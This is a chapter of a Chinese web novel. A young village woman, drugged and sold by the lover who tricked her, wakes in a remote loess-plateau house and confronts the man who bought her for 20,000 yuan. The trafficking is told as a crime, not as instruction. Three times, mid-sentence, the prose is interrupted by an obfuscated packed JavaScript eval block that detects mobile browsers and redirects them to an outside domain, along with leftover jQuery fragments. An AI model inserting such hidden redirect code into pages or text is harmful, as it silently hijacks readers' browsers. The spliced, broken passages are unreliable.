原来伍老舅粮油铺里那台电视机上传播的“蒙汗药”、“听话水”、“乖乖水”是真的存在,别以你人在伍家村就离你很远,有得是呆在山窝窝里活蹦乱跳不乐意非要跑到城里来受罪,“自作自受”的“虚荣”女孩。 小芳就是其中之一,长达近乎半个月的人口拐卖过程,她中了邪似的,全程一点强迫、威胁、武力都没被动用就屁颠颠、美滋滋地跟人走了,中间还结了场婚,跟人做了场露水夫妻。 小芳嘲笑自己,连畜生都不如,在伍家村杀只鸡还要追着它跑半天,杀头猪还要几个五大三粗的男人把它按实了,而她完全不用,像找不到路子销的赔钱货铁了心的要跟人走。 她甚至觉得自己都有点不好意思怪王国富了,王国富把你看守得很严吗?没有给你自由吗?让你没有一点逃跑的机会吗? 小芳甚至说不清自己恨王国富是恨他是人fan子多,还是恨他骗了自己的感情多,她受了比其他被拐卖的妇女更重的伤,不仅是人生过去十八年对现实的认知被彻底颠覆,还带着因失恋而沉痛的伤。 第一次把自己全身心地交付于一个男人,然后得到的是毫不留情的背叛。 他背叛得多浪漫?和小芳的最后一晚,他在她身上抽身时,把旅馆床头柜上的一杯水拿过来递到小芳嘴边说:“喝点水嘛,看你嘴巴都干得起皮了。” 小芳那时还说:“还不是被你啃得起皮了!” 然后没多久,她就陷入了近乎死亡的深度睡眠,而王国富在她的心里留下的形象也永远定格了,那是一个不用“暴力”来实施犯罪行为的男人,他用“浪漫”! 你说你是烈女,来硬的你宁死不从,好啊,换成王国富这种多情的、深沉的、还肯在你身上花钱的,你看你从不从?! 当然那些钱全是他从你身上预支的,他用稍后就卖掉你的钱大方地招待了你,更招待了他自己一顿,而你还傻乎乎地觉得这是个世上最好的男人! 骗女人就是要王国富这样的男人来才行,女人对男人的近乎痴梦般要求的英俊、多金、潇洒他都有,还有比别人多一层受过情伤的忧郁,他告诉你,他不是天生这样吊儿郎当的,他是在女人身上吃过亏才变成这样的。 这样的男人对小芳这类善良淳朴、没见过世面、教育也受得不充分的年轻女孩来说,简直要命。 你对他那点女人对男人的倾慕,以及对他受的伤想以把自己整个送出去的方式来弥补他,用女人伟大的母性去包容、治愈他,你的这些所思所想就够他在你身上为所欲为地使坏了。 小芳悲哀地想,也许所有没有辨别危险能力、喜欢做白日梦、对爱情有近乎不合常理幻想的女孩都应该遇上一次像王国富这样的男人,这样她们就会发现,她们的要求只有骗子能够满足。 人只有狠狠地像她一样上过一次当,才会对无望的爱情产生绝望。 小芳是在一个傍晚醒来的,一睁眼就是满室苍凉的黄,那是太阳将要下山时洒下的最后一片余晖。 她想动动身子却动不了,睡太久的缘故,这是一种她没有过的睡眠,用伍家村的话来形容就是人都睡“蠕”了。 小芳只能先慢慢积攒力气等力气够了再调动四肢,趁这时她看了看自己躺的这间屋。 面积很阔的一间屋,这间屋比她家堂屋都大,然后就是高,屋顶就是站在高凳上再伸手也够不到顶,小芳有个不太好的揣测,盖那么高是害怕人上吊吗? 这屋里倒是很凉爽,没有广州那种无论人洗得多干净,出门就腻洼洼的不清爽感,在这间屋里待着,小芳觉得除了人新陈代谢自身从毛孔里排泄的脏物,否则你永远不会染上其他。 这间屋有一点不好,就是有股生石灰味,闻久了闷得慌,应该是才刷上墙的。 小芳心里美了一下,看来王国富的家人还是看重她的,还在他们回来之前加紧把房子刷了遍,这样想,她也不觉得生石灰这股潮生气难闻了。 她力气攒得够调动身体了,慢慢站起,以防突然贫血导致的眩晕。 起身来,站在房子中间,她才确切地感受到这屋子有多么大,衣柜、五斗柜还有床都比伍家村的要大上一半,尤其是那张床,小芳就是在广州的宾馆,王国富给她开的单人间里,那张床也没这张那么大,五个小芳都够躺上去睡。 她听王国富说过和广州隔得不远的香港,很多家庭,全家都挤在十平方不足的房子里。 她想,这张床倒很实在,放到香港去,全家人都睡得不憋屈。 房间里的门没关牢,露着一条缝,但外面却一丝声都没透进来。 有点奇怪,小芳觉得,看这太阳的下落趋势,搁全中国哪里的农村也该是要做晚饭的时候了,怎么王国富家里像没人一样?难道是怕吵醒自己? 这样可不行,公公婆婆面还没见到,恶媳妇的好吃懒做形象先留在人家心里了。 小芳迅速拉开门出去,人却鬼鬼祟祟的,毕竟王国富不在,她不想独自应付他家人。 出了那间屋,小芳才发现王国富家也只有那间屋给刷了簇新的生石灰,其他都是黄土色。 王国富家现在是一个人也没有,小芳确定了,这时她还没意识到不对,她把伍家村人的习惯自动套在了王国富家身上。 伍家村的人从外面回来了,爹妈是要拉着他们到村里串门的,小芳想,王国富肯定也是跟着他家人去串门了,她睡死了,所以王国富看她又是火车又是长途车又是他爹的皮卡,人给颠累了,才体贴地没叫醒她。 但小芳忘了,此刻她的脑子里缺失了来王国富家这段路的记忆。 她一个人在屋里转悠着,反正房子里也没人,还剩的两间房她也趁着没人进去看了,一间墙上糊着旧报纸还有考过的试卷,不晓得有多少年了,但屋子却很整洁,整洁得像不常有人住。 王国富家可真落后,她琢磨,别看王国富在广州穿得跟时尚风向标一样,他老家墙上可是连张当下流行的、过时的歌手、演员的海报纸都没有。 就是这点轻视让小芳忽略了墙上糊的试卷名字可不是“王国富”,而是“孙少东”。 另一间就有人味得多了,被子还保持着人起床时顺手一掀的原样,一双家里穿的棉布鞋东一只,西一只离得老远,鞋后跟处是压下去,一看就知道穿它的人喜欢趿拉着穿,住这间屋的人是个不太讲究的人,跟小芳爹老伍一样。 小芳走到屋外,王国富家的院坝踩一脚无论轻重,都要带起一片飞扬的尘土,抬眼就是和伍家村同样的连绵、望不到尽头的山,不过她私心认为还是伍家村的山要美点,这里的山黄得让她心头发毛。 她绕到房子后面去,见到一个独立于的房子的,用破砖头砌的小房,很小,没门,只搭了张布帘,她好奇那是做什么用的,刚走进她闻见气味就确定了,是厕所,在伍家村叫“茅司”。 连门都不弄一个,小芳心里嫌弃,那布帘就跟伍家村厨房顶上被烟熏的老腊肉一样常年地给这屎尿味熏入味了,她是不愿意用手去掀开它的。 肚子饿了,她走回房里去,看见堂屋里放着的自己花钱从广州买过来的零食、土特产,她想撕点包装来尝尝,但又觉得这是买给王国富家人的,这样做不合适,只好跳到厨房里去觅食了。 厨房小芳刚才只匆匆看了一眼,这次因为要找吃的,她就看得仔细了,王国富家的厨房很奇怪,所有用具摆件都跟她睡的那间房一样,要比自己家的大出一半来,这厨房是不让女人使用的吧? 厨房里所有悬挂的东西都挂在凿进墙体内的铁钉上,小芳拿了一把大菜刀来试试,看它使用起来符不符合人体构造,刚拿起来,她细手腕子就不吃重地使不上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630275|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力,这种刀拿来有啥用?让她砍人都砍不动,不过后来她也砍动了。 这哪像厨房?该说是运动员的健身房! 她把刀放回去,看着灶上还冒着热气的实木头大锅盖,拿是拿不动的,只能慢慢移动,这锅盖不知道用了多少年,她手放到盖把上,都有因人长期使用它而形成的手指形状的凹槽了。 锅盖移出个缝,里面有盘腊肉,还有两个馒头,小芳全拿出来,把切成片的腊肉放馒头里当馅料混着吃了。 吃完了,用锅里保温保温的热水,把碗筷都洗了后又掺上水缸里的冷水。 她觉得王国富家的灶设计得太不合理,她们家灶上也有大锅,但大锅旁也凿了个能放小锅的灶孔,而王国富家就只有一个放大锅的,平时要是热点冷饭菜,那么大个锅洗起来不累? 这种农村的大锅都是买来就嵌实了在灶上,洗锅水都只能用水瓢舀出来,多不方便? 随后小芳心里一笑,操这份心干什么? 王国富对他这个老家比她这个外来人还嫌弃,还在火车上的时候,小芳问他,“我们要呆几天呢?” 王国富答:“最多三天必须走,我呆不下去。” 所以反正最多三天后,她就要和王国富回广州去了,还管这家里设计得合不合理? 饭吃完了,无聊又来了,小芳又走到外面去消食,才注意到周围一片黄土地,她只看见王国富家这一所房子,所以王国富从家里出去串一次门要走多久?怪不得他爹连快成废铁的烂皮卡都要,上了年纪谁走得上那么多路? 她数不清自己在王国富家屋里屋外地走了多少圈,这里太清闲了,广州的一天拿到这里来可以当十天用,连伍家村都比这里闹热,她觉得在王国富家从醒来到现在,自己一辈子的无聊都销在这里了。 等到瞌睡又涌上来,她坐屋檐下靠着墙柱打盹时,终于听见了声音,“轰隆轰隆”的引擎声,还有车子驾驶起来的那种车身零件的碰撞声,一听她就晓得是王国富爹的烂皮卡了,只要烂得要散架的车才会发出这种嚎,就跟人上了年纪骨质疏松得动作稍一剧烈骨头就爆柴一样的嘎嘣响。 小芳趁着车还没开过来,用手抓了两把头发,使自己看得从容些,又在肚子里打腹稿第一次见面该说些什么好。 幸好她刚才还倒出水壶里的热水了,洗了两把脸,刷了个牙。 车看进来停在院子里了,小芳高兴地站起来,她从来没觉得等待是如此漫长的一件事,跟坐牢一样。 驾驶坐的门打开了,放出来一只巨大的、铁棍般粗壮的腿,不是王国富的,王国富的腿跟他人一样,细长结实像艺术品,怎么看都看不够,这条腿只让小芳有些害怕,一脚就可以把人踹死。 这是王国富爹的腿?也过于老当益壮了吧? 她想到下火车时王国富说他爹干起活来,比他年轻,还比他有劲,这下她不觉得王国富是夸张了,怕是自己和王国富两个人加起来还比过他爹一个人能干。 可等那条腿的主人全从车里出来,小芳又确定了,这绝不是王国富的爹,两个人由头到脚没有一点能找出共性的地方,这男人高大得像头骡子,长得也像驴骡马那类动物,朴实憨厚。 王国富身上是不会流露出来朴实憨厚这些品质的,他知道女人才不会爱上有这些品质的男人,只会拿有这些品质的男人当退路。 小芳和面前的男人对视了好久,这烂皮卡车里也没再出来第二个人。 她有点混沌了,活了十八年从来没有像这刻般毫无头绪,完全搞不清状况。 还是那骡子一样的男人打破沉默,对她笑了笑说:“你醒了啊?” 他一笑,那口大板牙和骡子更像了。 小芳懵懵地点了点头,心里对王国富已经恼了,但不能当着他家人面发作,虽然她也不知道这个男人和他是哪门干系的家人。 她也对他报以同样的微笑,也露了几颗漂亮牙齿,问道:“你们回来了啊,王国富呢?” 13. 昏天黑地 男人像没听懂小芳话,只把身上外套脱下来,抖抖拍拍上面灰尘,看样式是那种统一发放的工作制服。 “饿了吧?”他问小芳,一嘴带着黄土味儿的方言。 “吃了的,你们还没吃吧?”虽然车上只有他一个人下来,小芳还是说着“你们”,还笑得很讨好,没办法,她要从这个男人嘴里得到王国富的下落。 “嗯。”他把脚上的工鞋脱下来,换上立在屋檐墙下的一双毛鞋。 小芳不知道说什么好了,他没吃饭她能怎么办?那厨房里的菜刀菜板什么的是配来给女人用的?说是拿来给女人练举重的还差不多。 但体贴的话还是要说,就冲这是王国富的家人,小芳笑得口水干了,嘴皮子粘在牙齿上,“那这家里有点什么?你看我给你做?” “不用了,”他把工鞋上的灰拍拍,“我自己做。” 小芳有点受不了他了,走到哪里都要不讲卫生地制造出点灰尘来,她再靠近点他,就要被呛死了,这个人她带着歹意想,再过二十年就要生肺癌! “王......”她顿了顿,对着王国富家人不客气地直呼其名太没礼貌,于是改口道,“国富呢?” 这次他没搭理小芳,把手里鞋子放下就进屋了。 小芳自觉在礼节上她已做得相当不错了,而那个像骡子一样的男人怎么就自己一提到王国富他就选择略过呢?难道王国富和他不是家人吗? 只要是一家人无论关系处得怎样,当着刚进门的新嫁娘也得有几分好脸色吧? 她跟着他一路撵进厨房,站在厨房门口最后一次好声气地问:“王国富呢?” “王国富”三个字都是带着好气的,唯独末尾那个“呢”她带上情绪了,她故意的。 她虽是第一次给人当媳妇儿,但也不是一无所知,任捏任搓,她明白女人刚进门时一味做小伏低婆家人是不会尊重你的,“贤惠”和“泼辣”都要张弛有度地来,一味好和一味坏效果是不相差的,要给一巴掌再给颗甜枣,或者给颗甜枣再给一巴掌。 男人再给他自己烧火做饭了,从灶口抬起头问小芳,“你还要再吃点不?” 如果是伍家村的小芳,那句“吃你妈的X”已经骂出口了,她忍着没吐出来,万一这男人和王国富是一个妈呢?王国富今天有点不像话,但到骂他妈的程度,还不至于。 “我最后问一句,王国富呢?”这是警告了,你别把在伍家村那个不要命的伍小芳给逼出来。 “他走了。”男人说完,又拿火钳去捅了捅火。 “走了?!”这下换小芳听不懂了,王国富撇下自己新婚老婆走了?为什么? 小芳还是很懵,还没觉得哪里出了差错,她对王国富的喜欢和爱还能让她在此刻一片蒙昧混沌的大脑里给他编排一出家庭闹剧来。 她想,王国富和他家人的关系一看就是不太好那一挂,所以应该是在自己还熟睡时跟家里闹了场不算小的矛盾,才生气跑出去的。 但无论小芳再怎么自欺欺人,她也找不出他把自己扔这里跑了的理由来替他开脱。 “你们吵架了?为啥吵呢?都是一家人,一年到头不见一次的。”小芳已经把她自己说服了。 但还在烧火的男人显然是搞不明白女人脑子里那一套的,脸上像是听外国话那样莫名其妙。 “有啥好吵的呢?”小芳把自己的功劳让给王国富,“喏,”她下巴朝堂屋方向扬扬,“外面那一堆全是他买给你们的,他心里有你们一家人!” 小芳说的每一个字,男人都听懂了,但就是非常费解。 她眼里的王国富和男人眼里的完全不是同一个人,小芳眼里的王国富是个除了和她干那儿事,干其他什么都带点不耐烦的男人,那点不耐烦她很爱,他是宠她宠得不耐烦! 男人眼里的王国富就不一样,他们联络好后,他跑去广州看货的时候,那人fan子叫价叫得多高?伸出两只指头就要两万! 浮夸得不像钱是人挣得,而是天上掉下来的。 他一直解释自己家积蓄没那么多,那人fan子却不降价,强硬得就像卖的是他自己老婆。 直到在约定好的公园,他真眼见了这个值两万块的女人后,才狠下心掏空了家底,又欠一屁|股外债才把厚厚两沓钱凑齐,和拉着行李箱的王国富钱货两清。 他觉得说来小芳一定不会信,在广州那个阳光明媚的公园,他是真对她一见钟情了。 他家这片黄土地是长不出来像小芳这样白净面皮,细眉细眼的姑娘的,这片土地太催人老了,他自己才刚过三十,已经有四十岁的人那种沧桑了。 男人还在回想着王国富把行李箱交给他时,他是如何小心翼翼把小芳从里面抱出来,放到车后座上,还给她盖了层薄毯。 他以前把车开回家都是一路风驰电挚的,他那身脱了衣服,浑身肌肉都跟着跑的身板是很耐造的,怎么颠都颠不散,但后座的女人不一样,那身细皮肉就跟婴儿似的,一用力就要留个痕迹下来。 接小芳回来那次是他把车开得最温柔,最缓慢的一次 小芳昏睡了差不多两天两夜,这两天她不晓得,就在王国富坐上火车回广州的路上,这个还在烧火的骡子男人,跟条哈巴狗似的蹲在她熟睡的床前,痴情地凝望了她不知多少次。 也幸好他在欣赏小芳睡颜时,小芳没突然醒来,不然醒来看到一张放大的骡子脸,得立马又吓昏过去。 “啊?”她发出不满的一声示意男人,我他妈的都说了那么久了,你沉默是怎么回事?认不认同都该放个屁吧? “你说东西是他送的?”男人老实敦厚的脸终于出现一丝惊诧。 “对啊!”小芳想,再加把劲,把他们调和好,等王国富回来再客气呆个一两天就可以回广州了! 男人搞不明白,人fan子卖女人还要附带送一大堆吃的啊?是怕他们这些买女人的汉子太穷了,把女人饿死了? 有闲钱买这些,还不如少要点价,或者买点用得上的家具用品来得实在! “他们人还那么好?”他笑出一脸四蹄动物特有的憨直。 他们?什么他们?小芳被这男人弄得云里雾里的,她觉得难怪王国富提到他家那么嫌恶,这家人怕是脑子都有问题,就只生出来王国富一个机灵的! “对啊,王国富和我结婚了,带我回来看看,东西还是上广州火车站之前买的,我们一路人肉背回来的!” “结婚?!”刚还憨直的骡子男人这下脸上有了骡子要犟劲之前的脾性了,“你和他结婚了?!” 神经病啊!小芳险些骂出口了,老娘不和她结婚吃了屎跑你这黄山黄土来?同样是农村,她伍家村的山水还又青又绿带五颜六色呢!你这里除了锅里吃的不是土?哪里没有土?! 这地方怕是一有饥荒,全村人都像历史书山说的那样,吃泥巴,吃来涨肚子屙不出屎,然后大肚子饿死! 她不加掩饰地烦躁道:“他难道没和你说我和他结婚了?还有你到底是谁?又不像他爹,是他哥?也不像啊,难道不是一个妈生的?” “你和他结婚?”男人还没从那阵惊惶的失落中走出来,怎么他掏空家底,透支未来买回来的老婆是别人卖自己老婆给他的? 难怪那人fan子死活不肯降价,原来是把家里的自留货拿出来卖了。 可他到底是真心喜欢小芳,他还没顾上哀伤自己花了两万块娶了个“二手货”,先替小芳心疼上了,城里男人可真不是东西,为了钱,自己女人都下得去手,还是这样漂亮一个女人。 换成自己,他想,这辈子一天三顿减成一顿,唯一那顿还可以少吃点,他也绝不会把这个天仙一样的女人给让出去。 “你这人不仅傻,连耳朵都聋?!”小芳撕开嗓子吼了。 “他把你卖给我了,两万!”不是骡子男人傻,而是王国富在这场本该简单利落的买卖里,耍了让所有人都看不懂的花招。 “放你妈的屁!”小芳彻底火了,伍家村也经常有些油头滑脸的男人爱对别人的老婆、女儿开这些下作又不好笑的玩笑,自认为很幽默,还为他们占到的那点口头上的便宜而沾沾自喜。 她以前在伍家村最厌恶这种男人,谁敢对她开这种玩笑,她立马回敬的就是一泼浓度很高,打击很准的口水。 这时她的意识深处仿佛也为男人的解释动摇了,喉咙处失重般地不受控,但她不愿相信,或者说不敢相信,一旦承认,过去那个聪明没吃过亏的伍小芳就完全成了笑话。 谁见过乐呵呵,贱兮兮送上去给人宰的?还用别人宰自己的钱提前把卖她的和买她的都招待一顿。 要是一旦承认这个事实她会疯的,骗人不带这样骗的!她情愿王国富是把她一棒子敲昏而不是甜蜜多情的糖衣炮弹,让她由身到心,从内至外全线崩溃! 她抄起一旁挂在墙钉子上筷子盒就朝男人扔去,一大把筷子扔出去效果跟泼了水一样,整个厨房都是它的打击面。 男人倒是没恼,相反他很理解且欣赏小芳的反应,任何一个被丈夫背叛得这么不留情的女人都该有这种反应,这是一种几千年文化塑形的女妻子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630276|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对丈夫的愚忠,没哪个男人不喜欢,没哪个男人不受用。 此刻的他就想在眼前这个女人最脆弱的时候趁虚而入,然后移花接木地让小芳愚忠的对象由背叛她的丈夫换为永远不会背叛她的自己。 “我知道你难过,”他差点要冲上去抱住小芳了,“但事实就是这样,那男人不是个东西!” “滚你妈的事实!”小芳嗓子都要撕出伤口了。 他还搞不清火候地添油加醋道:“你别不信,他还专门让我去广州看人,我在广州等的第四天,他就打电话到我住的宾馆,让我去公园看看你,就是在那公园他跟我说的,要我给两万块!” 这下小芳不得不信了,铁打的事实摆在眼前,她当时还旁观了会儿,以为他是个和王国富产生了争执的牛高马大男人,自己还想背着帮忙,结果看他在王国富面前是满头满脸的窝囊,确定他占不到王国富的便宜后才放心离去的。 窝囊?谁他妈现在能有她窝囊? 亲眼见证了买自己的和卖自己的,害怕卖不出去一样丝毫不反抗,丝毫没察觉,这下子就是他们放她回伍家村,她都没脸了,伍家村谁也没欺负过的伍小芳,一出去就让人狠狠欺负了场,且还没动用武力! “我睡了多久?”她总算想到自己从下火车站的旅馆到男人家,这段中途缺失的记忆了,又是一项有力的铁证。 “两天,”男人说得还很后怕,劫后余生似的,“我看你一直不醒来,我都害怕了,还想着今天你要是再不醒,我明天拉你上县城医院。” “两天两夜?”小芳又虚弱地问。 “嗯。”男人点点头,他把小芳身心在经历一段极限拉扯后的疲惫感误会成了她认清现实,然后即将认命。 小芳扶着墙走到男人家堂屋,她记得墙上挂着一个电子时间日历表,背景图还是“八仙过海”,那玩意儿算得上这家里的“奢侈品”了。 上面连着的黑底红色字体显示,今天是十八号,对头了,她和王国富是十六号凌晨一点过到的旅馆。 她睡了两天两夜,难怪醒来时动都动不了,王国富怎么不把药再下猛一点呢?药死她最好! 四十多个小时,多么精准,多么老练的用药量? 他们一定在无数个像自己这样的女孩身上试验过,得出来了这份绝对致人昏迷,没有中途醒来风险,又能安全脱身的用药量。 小芳上学时听老师说过,人在没有进水的情况下最多活三天。 王国富是既确保了她的生命安全,又保证了他有充分的时间离开这片别说飞机,抬头连飞鸟都不见几个的穷山沟沟。 同样是农村,伍家村的澄澈蓝天最不缺飞鸟,极偶尔时还会有架飞机飘过,那响亮的声音隔那么几千米高空,她在地上都能听见,提起来就跟天音似的悦耳,飞机即使飞远了也会多情地留下条长长的尾迹云供她产生美丽的遐想。 而王国富回到广州,他可以继续在火车站接手“娟姨”们从任何农村山窝窝里带出来的,像自己这样心有不甘,想来大城市飞上枝头变凤凰的麻雀女孩们! 小芳想,每一个大城市的火车站,每天有多少个“娟姨”?多少个“王国富”?多少个自己? 这时的小芳已深陷在她连名字都叫不出的偏僻地了,还能在绝望中分出心来牵挂别人。 玲玲、云川还有小扁还好吗?是叫李大强和郝梁栋吧? 小芳想,玲玲和云川大概是和自己相同的遭际了,她们都是伍家村漂亮的女孩,除了小扁初一辍学,小芳和玲玲、云川都是初中毕业!在伍家村算高学历了! 小扁是娟姨亲自送的,应该会好些吧?但那也不一定,别看小扁样貌不中看,可是又老实又肯吃苦,万一娟姨把她卖给那些缺女人缺得紧,拿女人当牲口使的人家里贱卖了怎么办? 她想到她们仨儿离开伍家村时那场欢送会,村里人都欢天喜地的,可那是老天爷给所有人开的一个天大的玩笑,只有娟姨知道其中真相。 不!小芳现在怀疑上了所有人,娟姨的女儿穗穗,她穿戴得那么好,手上还有块听伍老舅说价值上千的表,全是靠她妈卖别人家的女儿换来的,她妈有什么能力能换她一身穿金戴银,她心里不清楚?什么鸡下什么蛋!她以后铁定也跟她妈学当小人fan子! 还有小三儿,小三儿知情吗?走时小三儿那一番叮嘱是真的关切,还是明了真相的愧怍?明了他的未来丈母娘将把自己送往刑场? 不行了,越想小芳越承受不住,人受打击到一定程度,昏天黑地不是夸张的,她头晕脚软地昏过去了。 14. 冷静 小芳过去从来不是个害怕面对困难的人,遇事迎难而上是她最坚韧的品格之一,她认为困难是不会靠逃避来解决的,所有的事儿还是需要人来解决。 但昨晚她遇上了人生第一桩无法也无力解决的大事,所以她身体选择了最脓包的方式——晕倒,这也是逃避的一种,她第一次没有坚强地直面问题。 再次醒来时,透过窗帘的强光让她感到外面是一片艳阳高照,这里有能把恶鬼照得魂飞魄散的烈日,但这烈日对人没用,人的罪恶沐浴着阳光滋生、繁衍、壮大。 晕了多久,她不清楚,伍家村顽强如野草的小芳此刻只想再也醒不过来。 还是这间高大的屋子,那么高的屋顶,让她吊死都够不着。 门打开了,房子的主人端着一碗粥让她进食,他说:“你们那边的人好像生病了就喝这种稀粥。” 哟,买女人之前还做好来源地风土人情的了解了,可惜她现在什么都不想吃,那一肚子的窝囊和绝望就够她饱腹了,那么连绵起伏的山,靠她这瘦身板,十天半个月也走不出去。 “喝点嘛。”男人用勺子舀了点粥还吹了两口送到她嘴边。 小芳看着他家的勺子,心里想,再大点搁自己家都能做汤勺了。 她转过身去拒绝任何形式的交流,别想再用一切把人弄迷糊,把男女氛围搞得情意绵绵的手段来逼自己就范了,人口买卖,买的和卖的都不是东西,上一次王国富花花公子哥的当还不够,再在你这骡子男人身上上一次老实人的当? 她伍小芳还没蠢到这样无可救药的地步。 这处鸟不拉屎不下蛋的地方,她是一定要跑出去的,她还要回广州,不是去质问王国富为什么,没必要,没良心的男人,他自己都把良心扔了,你还能让他为了你把良心找回来? 她是要回到广州,找份事做,流水线也好,帮餐馆也好,什么都好,只要能靠她自己挣点钱,然后长期在广州候车站蹲守,总有一天她会遇上娟姨和王国富,然后报警将他们绳之以法! “你别跟你自己过不去。”男人说。 小芳心灰意懒地答:“你让我走,我就跟我自己过得去。” 他不出声了,良久又闷闷地说:“我花了两万块......” 他还比小芳先委屈上了。 小芳怒意上来了,自己还没发泄,他倒抢占先机诉苦了?! “不就是两万块嘛!去拿纸笔来,老娘写张借条给你,我回广州了一天只睡两个小时也要挣来还给你!”小芳坐起身来,动作剧烈得把他吓一跳,粥都泼出去半碗。 “我不是这个意思......”他脸上有了四蹄动物累死累活后只讨得主人一顿骂的伤情模样。 小芳看着心里冷笑,长得都那么像个畜生! “那你是什么意思?不放我走?你不晓得你们这样是犯法的?拐卖妇女!老娘到公安局去报案,警察逮你们,一抓一个准,审都不用审,直接枪毙!” 小芳懂点法但不多,可流程还是清楚一点的,是要上法院,反正她往大了夸,吓一吓这个骡子似的男人。 “我出了钱的!我犯什么法?我偷了抢了?”他急切地为自己辩白,不是狡辩,小芳在他脸上看到的是真切与诚恳,他是真心认为自己这个理由站得住脚,走到哪儿都有理,都万无一失,凭啥出了钱的还得挨枪子儿? 她放弃和他拉扯法律了,人对自己缺少认知的东西是不会相信和动摇的,这就是为什么有些人迷信得几乎无药可救,有些人却饿了去坟地里扒拉贡品吃。 小芳说:“我自愿了吗?我认识你吗?我连你姓啥子都不晓得,你和我扯这些?!” “我会对你好的!”男人慌张地表忠心,在他看来一个愿意为女人好的男人,能打动世上任何不情不愿,铁石心肠的女人。 对自己好?她冷笑一声,王国富对她不好?什么下场,她是体味到了,还有王国富长相做派还对女人口味呢!你个黄土高坡的龟儿子还能比王国富更让我有感觉?! 小芳承认自己贱,王国富不是个东西,要是现在他在她眼前现身,她会下得去手给他一刀,但她不得不承认,体会了和王国富搞男女关系后,守在她床边的这个男人是多么的无趣和寡味,应付女人,和王国富的差距,就像近代史上,中国和西方列强一样。 老实?忠厚?她要男人这些品性干嘛?伍家村缺老实的?缺忠厚的?伍家村缺,罗家村也缺? 她伍小芳要的就是离开农村到大城市去,找不到合适的男人,一辈子守着自己不嫁出去也比找个乡下的好! 乡巴佬配乡巴佬,生的还是乡巴佬,祖上十八辈子守着那一亩三分地就够了,孩子生了还要跟着一起守。 听王国富说,城里过得尖尖上那一撮已经送孩子出国了,去美国、去英国、去法国,去五大洲四大洋,去说五花八门语言的国。 而乡下孩子呢?别说出国,落后点的地方,连去县城一趟都可以当旅游稀罕,天堑一样大的差距,她无望地想,要是听了骡子男人的话,受他的好,跟他生个翻不了身小号骡子,她害了自己也害了自己的孩子! “我要你对我好!”小芳瞧不起地说,“你那点好就是饿不死是不是?你这家里,连个像样的摆件都没有,你怎么对我好?” 她接着浮夸起来,就为了刺伤他的尊严心,“你这家造那么大,还连台电视机都没有,造那么大干啥?你真觉得你有本事把它填满?!” 清醒了的小芳是厉害的,三言两语,连脏字都不带的就把男人击垮了,他跪在地上,把碗搁一旁的凳子上,把头垂得很低很低,耷拉在两个高耸的肩膀下,是个很痛苦的姿|势,所有尊严被击穿了的人就是这样。 小芳趁他还陷在自己给他制造的痛苦里难以自拔的时候起身了,她身上这身衣服到这里来就没换过,行李也没打开过,方便得很,拎起就可以走人,不晓得这是在哪儿?有什么干系,在公路边白天等到晚上,总有一辆车路过的,她妈缝进衣服里的钱只有她自己知道,有那点钱傍身,怎么也能走出去。 她是遇上王国富被爱情冲昏头了,这一下醒过来了,她比任何时候都清醒。 小芳刚拎着行李袋要走,那男人就从痛苦中抽回神了,一个猛窜跳到她面前挡住门。 看来还是小芳仁慈了,刺他的话是说得留有余地,痛苦得还不持久,还能分出心来,注意到她要走了。 或者说他现在已经够痛苦了,再无法承受失去小芳后的痛苦。 “滚,好狗不挡路。”小芳一句废话都不想多说,看也不看他。 “我又不是狗!” 小芳硬闯了,“你再挡着我你就是狗都不如!” 他是又要留下她,又怕伤着她,带着求情相堵在门口,死活不挪动。 “滚!”小芳劈头盖脸又是巴掌又是拳头打在他身上,可他那身板扎的骡子肉打上去倒把她自己打痛了。 这才是高手,人家压根都不用还手,就能把你的撒泼犯浑的招式给一一拆解了。 “滚!”小芳拳打脚踢得多饭桶?一双手肿得打人的倒像挨了打的。 “我不想伤害你。”他求她别逼他做出任何不利于双方的蛮狠举动。 “你留我在这儿就是伤害我!” “我会对你好的!” “我自己不会对我自己好?!” “你人生地不熟的,怎么走得出去?”他脸上的担心不是假的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630277|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这么关心我呀?”小芳笑得牙尖嘴利的,“那你送我出去啊,把我送到广州最好!” 就是这句话,小芳把他惹火了,老实人的恼火。 他受了不小的刺激,他认为她是还没对那个卖他的男人死心,还要想回到广州去跟那个男人弄个结果出来,无论好与坏。 他忍不了了,两万块先不提,怎么自己一个愿意把心都捧出来给她践踏的男人还抵不过一个把她当物件卖她的呢? 他上手了,但仍控制住力道不伤着她,这就使他孔武有力的身板和小心翼翼的动作给了他一副矛盾又窝囊的姿态。 